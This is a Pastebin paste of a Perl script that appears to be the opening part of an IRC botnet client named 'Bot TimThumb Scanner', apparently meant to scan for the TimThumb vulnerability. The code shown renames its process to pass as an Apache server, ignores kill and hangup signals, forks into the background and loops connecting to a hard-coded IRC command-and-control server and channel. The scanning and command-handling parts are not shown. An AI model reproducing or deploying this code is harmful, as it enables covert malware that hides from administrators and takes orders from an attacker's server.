Advertisement
sirnon

New

May 4th, 2012
378
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.72 KB | None | 0 0
  1. #!/usr/bin/perl
  2. ################################################
  3. use HTTP::Request; #
  4. use HTTP::Request::Common; #
  5. use HTTP::Request::Common qw(POST); #
  6. use LWP::Simple; #
  7. use LWP 5.53; #
  8. use LWP::UserAgent; #
  9. use Socket; #
  10. use IO::Socket; #
  11. use IO::Socket::INET; #
  12. use IO::Select; #
  13. use MIME::Base64; #
  14. ################################################
  15.  
  16. my $datetime = localtime;
  17. print $$;
  18. my $fakeproc = "/usr/sbin/apache3 -k start";
  19. my $ircserver = "irc.byroe.net";
  20. my $ircport = "6667";
  21. my $nickname = "ThumbScan\[".(int(rand(99999)))."\]";
  22. my $ident = "bot";
  23. my $channel = "#non";
  24. my $admin = "Egypt-Hacker";
  25. my $fullname = "Bot TimThumb Scanner";
  26.  
  27. $SIG{'INT'} = 'IGNORE';
  28. $SIG{'HUP'} = 'IGNORE';
  29. $SIG{'TERM'} = 'IGNORE';
  30. $SIG{'CHLD'} = 'IGNORE';
  31. $SIG{'PS'} = 'IGNORE';
  32. $ircserver = "$ARGV[0]" if $ARGV[0];
  33. $0 = "$fakeproc"."\0" x 16;;
  34. my $pid = fork;
  35. exit if $pid;
  36. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  37.  
  38. our %irc_servers;
  39. our %DCC;
  40. my $dcc_sel = new IO::Select->new();
  41. $sel_client = IO::Select->new();
  42.  
  43. sub connector {
  44. my $mynick = $_[0];
  45. my $ircserver_con = $_[1];
  46. my $ircport_con = $_[2];
  47. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  48. }
  49.  
  50. my $line_temp;
  51. while( 1 ) {
  52. while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
  53. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement